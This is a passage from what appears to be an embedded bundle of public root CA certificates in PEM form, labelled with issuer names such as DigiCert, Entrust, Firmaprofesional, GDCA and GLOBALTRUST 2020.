      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
      -----END CERTIFICATE-----

      # DigiCert Trusted Root G4
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # Entrust.net Premium 2048 Secure Server CA
      -----BEGIN CERTIFICATE-----
      MIIEKjCCAxKgAwIBAgIEOGPe+DANBgkqhkiG9w0BAQUFADCBtDEUMBIGA1UEChML
      RW50cnVzdC5uZXQxQDA+BgNVBAsUN3d3dy5lbnRydXN0Lm5ldC9DUFNfMjA0OCBp
      bmNvcnAuIGJ5IHJlZi4gKGxpbWl0cyBsaWFiLikxJTAjBgNVBAsTHChjKSAxOTk5
      IEVudHJ1c3QubmV0IExpbWl0ZWQxMzAxBgNVBAMTKkVudHJ1c3QubmV0IENlcnRp
      ZmljYXRpb24gQXV0aG9yaXR5ICgyMDQ4KTAeFw05OTEyMjQxNzUwNTFaFw0yOTA3
      MjQxNDE1MTJaMIG0MRQwEgYDVQQKEwtFbnRydXN0Lm5ldDFAMD4GA1UECxQ3d3d3
      LmVudHJ1c3QubmV0L0NQU18yMDQ4IGluY29ycC4gYnkgcmVmLiAobGltaXRzIGxp
      YWIuKTElMCMGA1UECxMcKGMpIDE5OTkgRW50cnVzdC5uZXQgTGltaXRlZDEzMDEG
      A1UEAxMqRW50cnVzdC5uZXQgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgKDIwNDgp
      MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArU1LqRKGsuqjIAcVFmQq
      K0vRvwtKTY7tgHalZ7d4QMBzQshowNtTK91euHaYNZOLGp18EzoOH1u3Hs/lJBQe
      sYGpjX24zGtLA/ECDNyrpUAkAH90lKGdCCmziAv1h3edVc3kw37XamSrhRSGlVuX
      MlBvPci6Zgzj/L24ScF2iUkZ/cCovYmjZy/Gn7xxGWC4LeksyZB2ZnuU4q941mVT
      XTzWnLLPKQP5L6RQstRIzgUyVYr9smRMDuSYB3Xbf9+5CFVghTAp+XtIpGmG4zU/
      HoZdenoVve8AjhUiVBcAkCaTvA5JaJG/+EfTnZVCwQ5N328mz8MYIWJmQ3DW1cAH
      4QIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNV
      HQ4EFgQUVeSB0RGAvtiJuQijMfmhJAkWuXAwDQYJKoZIhvcNAQEFBQADggEBADub
      j1abMOdTmXx6eadNl9cZlZD7Bh/KM3xGY4+WZiT6QBshJ8rmcnPyT/4xmf3IDExo
      U8aAghOY+rat2l098c5u9hURlIIM7j+VrxGrD9cv3h8Dj1csHsm7mhpElesYT6Yf
      zX1XEC+bBAlahLVu2B064dae0Wx5XnkcFMXj0EyTO2U87d89vqbllRrDtRnDvV5b
      u/8j72gZyxKTJ1wDLW8w0B62GqzeWvfRqqgnpv55gcR5mTNXuhKwqeBCbJPKVt7+
      bYQLCIt+jerXmCHG8+c8eS9enNFMFY3h7CI3zJpDC5fcgJCNs2ebb0gIFVbPv/Er
      fF6adulZkMV8gzURZVE=
      -----END CERTIFICATE-----

      # Entrust Root Certification Authority
      -----BEGIN CERTIFICATE-----
      MIIEkTCCA3mgAwIBAgIERWtQVDANBgkqhkiG9w0BAQUFADCBsDELMAkGA1UEBhMC
      VVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xOTA3BgNVBAsTMHd3dy5lbnRydXN0
      Lm5ldC9DUFMgaXMgaW5jb3Jwb3JhdGVkIGJ5IHJlZmVyZW5jZTEfMB0GA1UECxMW
      KGMpIDIwMDYgRW50cnVzdCwgSW5jLjEtMCsGA1UEAxMkRW50cnVzdCBSb290IENl
      cnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEyNzIwMjM0MloXDTI2MTEyNzIw
      NTM0MlowgbAxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMTkw
      NwYDVQQLEzB3d3cuZW50cnVzdC5uZXQvQ1BTIGlzIGluY29ycG9yYXRlZCBieSBy
      ZWZlcmVuY2UxHzAdBgNVBAsTFihjKSAyMDA2IEVudHJ1c3QsIEluYy4xLTArBgNV
      BAMTJEVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTCCASIwDQYJ
      KoZIhvcNAQEBBQADggEPADCCAQoCggEBALaVtkNC+sZtKm9I35RMOVcF7sN5EUFo
      Nu3s/poBj6E4KPz3EEZmLk0eGrEaTsbRwJWIsMn/MYszA9u3g3s+IIRe7bJWKKf4
      4LlAcTfFy0cOlypowCKVYhXbR9n10Cv/gkvJrT7eTNuQgFA/CYqEAOwwCj0Yzfv9
      KlmaI5UXLEWeH25DeW0MXJj+SKfFI0dcXv1u5x609mhF0YaDW6KKjbHjKYD+JXGI
      rb68j6xSlkuqUY3kEzEZ6E5Nn9uss2rVvDlUccp6en+Q3X0dgNmBu1kmwhH+5pPi
      94DkZfs0Nw4pgHBNrziGLp5/V6+eF67rHMsoIV+2HNjnogQi+dPa2MsCAwEAAaOB
      sDCBrTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zArBgNVHRAEJDAi
      gA8yMDA2MTEyNzIwMjM0MlqBDzIwMjYxMTI3MjA1MzQyWjAfBgNVHSMEGDAWgBRo
      kORnpKZTgMeGZqTx90tD+4S9bTAdBgNVHQ4EFgQUaJDkZ6SmU4DHhmak8fdLQ/uE
      vW0wHQYJKoZIhvZ9B0EABBAwDhsIVjcuMTo0LjADAgSQMA0GCSqGSIb3DQEBBQUA
      A4IBAQCT1DCw1wMgKtD5Y+iRDAUgqV8ZyntyTtSx29CW+1RaGSwMCPeyvIWonX9t
      O1KzKtvn1ISMY/YPyyYBkVBs9F8U4pN0wBOeMDpQ47RgxRzwIkSNcUesyBrJ6Zua
      AGAT/3B+XxFNSRuzFVJ7yVTav52Vr2ua2J7p8eRDjeIRRDq/r72DQnNSi6q7pynP
      9WQcCk3RvKqsnyrQ/39/2n3qse0wJcGE2jTSW3iDVuycNsMm4hH2Z0kdkquM++v/
      eu6FSqdQgPCnXEqULl8FmTxSQeDNtGPPAUO6nIPcj2A781q0tHuu2guQOHXvgR1m
      0vdXcDazv/wor3ElhVsT/h5/WrQ8
      -----END CERTIFICATE-----

      # Entrust Root Certification Authority - EC1
      -----BEGIN CERTIFICATE-----
      MIIC+TCCAoCgAwIBAgINAKaLeSkAAAAAUNCR+TAKBggqhkjOPQQDAzCBvzELMAkG
      A1UEBhMCVVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3
      d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVu
      dHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEzMDEGA1UEAxMq
      RW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRUMxMB4XDTEy
      MTIxODE1MjUzNloXDTM3MTIxODE1NTUzNlowgb8xCzAJBgNVBAYTAlVTMRYwFAYD
      VQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0
      L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0g
      Zm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxMzAxBgNVBAMTKkVudHJ1c3QgUm9vdCBD
      ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEVDMTB2MBAGByqGSM49AgEGBSuBBAAi
      A2IABIQTydC6bUF74mzQ61VfZgIaJPRbiWlH47jCffHyAsWfoPZb1YsGGYZPUxBt
      ByQnoaD41UcZYUx9ypMn6nQM72+WCf5j7HBdNq1nd67JnXxVRDqiY1Ef9eNi1KlH
      Bz7MIKNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0O
      BBYEFLdj5xrdjekIplWDpOBqUEFlEUJJMAoGCCqGSM49BAMDA2cAMGQCMGF52OVC
      R98crlOZF7ZvHH3hvxGU0QOIdeSNiaSKd0bebWHvAvX7td/M/k7//qnmpwIwW5nX
      hTcGtXsI/esni0qU+eH6p44mCOh8kmhtc9hvJqwhAriZtyZBWyVgrtBIGu4G
      -----END CERTIFICATE-----

      # Entrust Root Certification Authority - G2
      -----BEGIN CERTIFICATE-----
      MIIEPjCCAyagAwIBAgIESlOMKDANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMC
      VVMxFjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50
      cnVzdC5uZXQvbGVnYWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3Qs
      IEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25seTEyMDAGA1UEAxMpRW50cnVz
      dCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwHhcNMDkwNzA3MTcy
      NTU0WhcNMzAxMjA3MTc1NTU0WjCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoTDUVu
      dHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwt
      dGVybXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0
      aG9yaXplZCB1c2Ugb25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmlj
      YXRpb24gQXV0aG9yaXR5IC0gRzIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
      AoIBAQC6hLZy254Ma+KZ6TABp3bqMriVQRrJ2mFOWHLP/vaCeb9zYQYKpSfYs1/T
      RU4cctZOMvJyig/3gxnQaoCAAEUesMfnmr8SVycco2gvCoe9amsOXmXzHHfV1IWN
      cCG0szLni6LVhjkCsbjSR87kyUnEO6fe+1R9V77w6G7CebI6C1XiUJgWMhNcL3hW
      wcKUs/Ja5CeanyTXxuzQmyWC48zCxEXFjJd6BmsqEZ+pCm5IO2/b1BEZQvePB7/1
      U1+cPvQXLOZprE4yTGJ36rfo5bs0vBmLrpxR57d+tVOxMyLlbc9wPBr64ptntoP0
      jaWvYkxN4FisZDQSA/i2jZRjJKRxAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAP
      BgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqciZ60B7vfec7aVHUbI2fkBJmqzAN
      BgkqhkiG9w0BAQsFAAOCAQEAeZ8dlsa2eT8ijYfThwMEYGprmi5ZiXMRrEPR9RP/
      jTkrwPK9T3CMqS/qF8QLVJ7UG5aYMzyorWKiAHarWWluBh1+xLlEjZivEtRh2woZ
      Rkfz6/djwUAFQKXSt/S1mja/qYh2iARVBCuch38aNzx+LaUa2NSJXsq9rD1s2G2v
      1fN2D807iDginWyTmsQ9v4IbZT+mD12q/OWyFcq1rca8PdCE6OoGcrBNOTJ4vz4R
      nAuknZoh8/CbCzB428Hch0P+vGOaysXCHMnHjf87ElgI5rY97HosTvuDls4MPGmH
      VHOkc8KT/1EQrBVUAdj8BbGJoX90g5pJ19xOe4pIb4tF9g==
      -----END CERTIFICATE-----

      # Entrust Root Certification Authority - G4
      -----BEGIN CERTIFICATE-----
      MIIGSzCCBDOgAwIBAgIRANm1Q3+vqTkPAAAAAFVlrVgwDQYJKoZIhvcNAQELBQAw
      gb4xCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQL
      Ex9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykg
      MjAxNSBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxMjAw
      BgNVBAMTKUVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc0
      MB4XDTE1MDUyNzExMTExNloXDTM3MTIyNzExNDExNlowgb4xCzAJBgNVBAYTAlVT
      MRYwFAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1
      c3QubmV0L2xlZ2FsLXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxNSBFbnRydXN0LCBJ
      bmMuIC0gZm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxMjAwBgNVBAMTKUVudHJ1c3Qg
      Um9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc0MIICIjANBgkqhkiG9w0B
      AQEFAAOCAg8AMIICCgKCAgEAsewsQu7i0TD/pZJH4i3DumSXbcr3DbVZwbPLqGgZ
      2K+EbTBwXX7zLtJTmeH+H17ZSK9dE43b/2MzTdMAArzE+NEGCJR5WIoV3imz/f3E
      T+iq4qA7ec2/a0My3dl0ELn39GjUu9CH1apLiipvKgS1sqbHoHrmSKvS0VnM1n4j
      5pds8ELl3FFLFUHtSUrJ3hCX1nbB76W1NhSXNdh4IjVS70O92yfbYVaCNNzLiGAM
      C1rlLAHGVK/XqsEQe9IFWrhAnoanw5CGAlZSCXqc0ieCU0plUmr1POeo8pyvi73T
      DtTUXm6Hnmo9RR3RXRv06QqsYJn7ibT/mCzPfB3pAqoEmh643IhuJbNsZvc8kPNX
      wbMv9W3y+8qh+CmdRouzavbmZwe+LGcKKh9asj5XxNMhIWNlUpEbsZmOeX7m640A
      2Vqq6nPopIICR5b+W45UYaPrL0swsIsjdXJ8ITzI9vF01Bx7owVV7rtNOzK+mndm
      nqxpkCIHH2E6lr7lmk/MBTwoWdPBDFSoWWG9yHJM6Nyfh3+9nEg2XpWjDrk4JFX8
      dWbrAuMINClKxuMrLzOg2qOGpRKX/YAr2hRC45K9PvJdXmd0LhyIRyk0X+IyqJwl
      N4y6mACXi0mWHv0liqzc2thddG5msP9E36EYxr5ILzeUePiVSj9/E15dWf10hkNj
      c0kCAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYD
      VR0OBBYEFJ84xFYjwznooHFs6FRM5Og6sb9nMA0GCSqGSIb3DQEBCwUAA4ICAQAS
      5UKme4sPDORGpbZgQIeMJX6tuGguW8ZAdjwD+MlZ9POrYs4QjbRaZIxowLByQzTS
      Gwv2LFPSypBLhmb8qoMi9IsabyZIrHZ3CL/FmFz0Jomee8O5ZDIBf9PD3Vht7LGr
      hFV0d4QEJ1JrhkzO3bll/9bGXp+aEJlLdWr+aumXIOTkdnrG0CSqkM0gkLpHZPt/
      B7NTeLUKYvJzQ85BK4FqLoUWlFPUa19yIqtRLULVAJyZv967lDtX/Zr1hstWO1uI
      AeV8KEsD+UmDfLJ/fOPtjqF/YFOOVZ1QNBIPt5d7bIdKROf1beyAN/BYGW5KaHbw
      H5Lk6rWS02FREAutp9lfx1/cH6NcjKF+m7ee01ZvZl4HliDtC3T7Zk6LERXpgUl+
      b7DUUH8i119lAg2m9IUe2K4GS0qn0jFmwvjO5QimpAKWRGhXxNUzzxkvFMSUHHuk
      2fCfDrGA4tGeEWSpiBE6doLlYsKA2KSD7ZPvfC+QsDJMlhVoSFLUmQjAJOgc47Ol
      IQ6SwJAfzyBfyjs4x7dtOvPmRLgOMWuIjnDrnBdSqEGULoe256YSxXXfW8AKbnuk
      5F6G+TaU33fD6Q3AOfF5u0aOq0NZJ7cguyPpVkAh7DE9ZapD8j3fcEThuk0mEDuY
      n/PIjhs4ViFqUZPTkcpG2om3PVODLAgfi49T3f+sHw==
      -----END CERTIFICATE-----

      # FIRMAPROFESIONAL CA ROOT-A WEB
      -----BEGIN CERTIFICATE-----
      MIICejCCAgCgAwIBAgIQMZch7a+JQn81QYehZ1ZMbTAKBggqhkjOPQQDAzBuMQsw
      CQYDVQQGEwJFUzEcMBoGA1UECgwTRmlybWFwcm9mZXNpb25hbCBTQTEYMBYGA1UE
      YQwPVkFURVMtQTYyNjM0MDY4MScwJQYDVQQDDB5GSVJNQVBST0ZFU0lPTkFMIENB
      IFJPT1QtQSBXRUIwHhcNMjIwNDA2MDkwMTM2WhcNNDcwMzMxMDkwMTM2WjBuMQsw
      CQYDVQQGEwJFUzEcMBoGA1UECgwTRmlybWFwcm9mZXNpb25hbCBTQTEYMBYGA1UE
      YQwPVkFURVMtQTYyNjM0MDY4MScwJQYDVQQDDB5GSVJNQVBST0ZFU0lPTkFMIENB
      IFJPT1QtQSBXRUIwdjAQBgcqhkjOPQIBBgUrgQQAIgNiAARHU+osEaR3xyrq89Zf
      e9MEkVz6iMYiuYMQYneEMy3pA4jU4DP37XcsSmDq5G+tbbT4TIqk5B/K6k84Si6C
      cyvHZpsKjECcfIr28jlgst7L7Ljkb+qbXbdTkBgyVcUgt5SjYzBhMA8GA1UdEwEB
      /wQFMAMBAf8wHwYDVR0jBBgwFoAUk+FDY1w8ndYn81LsF7Kpryz3dvgwHQYDVR0O
      BBYEFJPhQ2NcPJ3WJ/NS7Beyqa8s93b4MA4GA1UdDwEB/wQEAwIBBjAKBggqhkjO
      PQQDAwNoADBlAjAdfKR7w4l1M+E7qUW/Runpod3JIha3RxEL2Jq68cgLcFBTApFw
      hVmpHqTm6iMxoAACMQD94vizrxa5HnPEluPBMBnYfubDl94cT7iJLzPrSA8Z94dG
      XSaQpYXFuXqUPoeovQA=
      -----END CERTIFICATE-----

      # GDCA TrustAUTH R5 ROOT
      -----BEGIN CERTIFICATE-----
      MIIFiDCCA3CgAwIBAgIIfQmX/vBH6nowDQYJKoZIhvcNAQELBQAwYjELMAkGA1UE
      BhMCQ04xMjAwBgNVBAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZ
      IENPLixMVEQuMR8wHQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMB4XDTE0
      MTEyNjA1MTMxNVoXDTQwMTIzMTE1NTk1OVowYjELMAkGA1UEBhMCQ04xMjAwBgNV
      BAoMKUdVQU5HIERPTkcgQ0VSVElGSUNBVEUgQVVUSE9SSVRZIENPLixMVEQuMR8w
      HQYDVQQDDBZHRENBIFRydXN0QVVUSCBSNSBST09UMIICIjANBgkqhkiG9w0BAQEF
      AAOCAg8AMIICCgKCAgEA2aMW8Mh0dHeb7zMNOwZ+Vfy1YI92hhJCfVZmPoiC7XJj
      Dp6L3TQsAlFRwxn9WVSEyfFrs0yw6ehGXTjGoqcuEVe6ghWinI9tsJlKCvLriXBj
      TnnEt1u9ol2x8kECK62pOqPseQrsXzrj/e+APK00mxqriCZ7VqKChh/rNYmDf1+u
      KU49tm7srsHwJ5uu4/Ts765/94Y9cnrrpftZTqfrlYwiOXnhLQiPzLyRuEH3FMEj
      qcOtmkVEs7LXLM3GKeJQEK5cy4KOFxg2fZfmiJqwTTQJ9Cy5WmYqsBebnh52nUpm
      MUHfP/vFBu8btn4aRjb3ZGM74zkYI+dndRTVdVeSN72+ahsmUPI2JgaQxXABZG12
      ZuGR224HwGGALrIuL4xwp9E7PLOR5G62xDtw8mySlwnNR30YwPO7ng/Wi64HtloP
      zgsMR6flPri9fcebNaBhlzpBdRfMK5Z3KpIhHtmVdiBnaM8Nvd/WHwlqmuLMc3Gk
      L30SgLdTMEZeS1SZD2fJpcjyIMGC7J0R38IC+xo70e0gmu9lZJIQDSri3nDxGGeC
      jGHeuLzRL5z7D9Ar7Rt2ueQ5Vfj4oR24qoAATILnsn8JuLwwoC8N9VKejveSswoA
      HQBUlwbgsQfZxw9cZX08bVlX5O2ljelAU58VS6Bx9hoh49pwBiFYFIeFd3mqgnkC
      AwEAAaNCMEAwHQYDVR0OBBYEFOLJQJ9NzuiaoXzPDj9lxSmIahlRMA8GA1UdEwEB
      /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgGGMA0GCSqGSIb3DQEBCwUAA4ICAQDRSVfg
      p8xoWLoBDysZzY2wYUWsEe1jUGn4H3++Fo/9nesLqjJHdtJnJO29fDMylyrHBYZm
      DRd9FBUb1Ov9H5r2XpdptxolpAqzkT9fNqyL7FeoPueBihhXOYV0GkLH6VsTX4/5
      COmSdI31R9KrO9b7eGZONn356ZLpBN79SWP8bfsUcZNnL0dKt7n/HipzcEYwv1ry
      L3ml4Y0M2fmyYzeMN2WFcGpcWwlyua1jPLHd+PwyvzeG5LuOmCd+uh8W4XAR8gPf
      JWIyJyYYMoSf/wA6E7qaTfRPuBRwIrHKK5DOKcFw9C+df/KQHtZa37dG/OaG+svg
      IHZ6uqbL9XzeYqWxi+7egmaKTjowHz+Ay60nugxe19CxVsp3cbK1daFQqUBDF8Io
      2c9Si1vIY9RCPqAzekYu9wogRlR+ak8x8YF+QnQ4ZXMn7sZ8uI7XpTrXmKGcjBBV
      09tL7ECQ8s1uV9JiDnxXk7Gnbc2dg7sq5+W2O3FYrf3RRbxake5TFW/TRQl1brqQ
      XR4EzzffHqhmsYzmIGrv/EhOdJhCrylvLmrH+33RZjEizIYAfmaDDEL0vTSSwxrq
      T8p+ck0LcIymSLumoRT2+1hEmRSuqguTaaApJUqlyyvdimYHFngVV3Eb7PVHhPOe
      MTd61X8kreS8/f3MboPoDKi3QWwH3b08hpcv0g==
      -----END CERTIFICATE-----

      # GLOBALTRUST 2020
      -----BEGIN CERTIFICATE-----
      MIIFgjCCA2qgAwIBAgILWku9WvtPilv6ZeUwDQYJKoZIhvcNAQELBQAwTTELMAkG
      A1UEBhMCQVQxIzAhBgNVBAoTGmUtY29tbWVyY2UgbW9uaXRvcmluZyBHbWJIMRkw
      FwYDVQQDExBHTE9CQUxUUlVTVCAyMDIwMB4XDTIwMDIxMDAwMDAwMFoXDTQwMDYx
      MDAwMDAwMFowTTELMAkGA1UEBhMCQVQxIzAhBgNVBAoTGmUtY29tbWVyY2UgbW9u
      aXRvcmluZyBHbWJIMRkwFwYDVQQDExBHTE9CQUxUUlVTVCAyMDIwMIICIjANBgkq
      hkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAri5WrRsc7/aVj6B3GyvTY4+ETUWiD59b
      RatZe1E0+eyLinjF3WuvvcTfk0Uev5E4C64OFudBc/jbu9G4UeDLgztzOG53ig9Z
      YybNpyrOVPu44sB8R85gfD+yc/LAGbaKkoc1DZAoouQVBGM+uq/ufF7MpotQsjj3
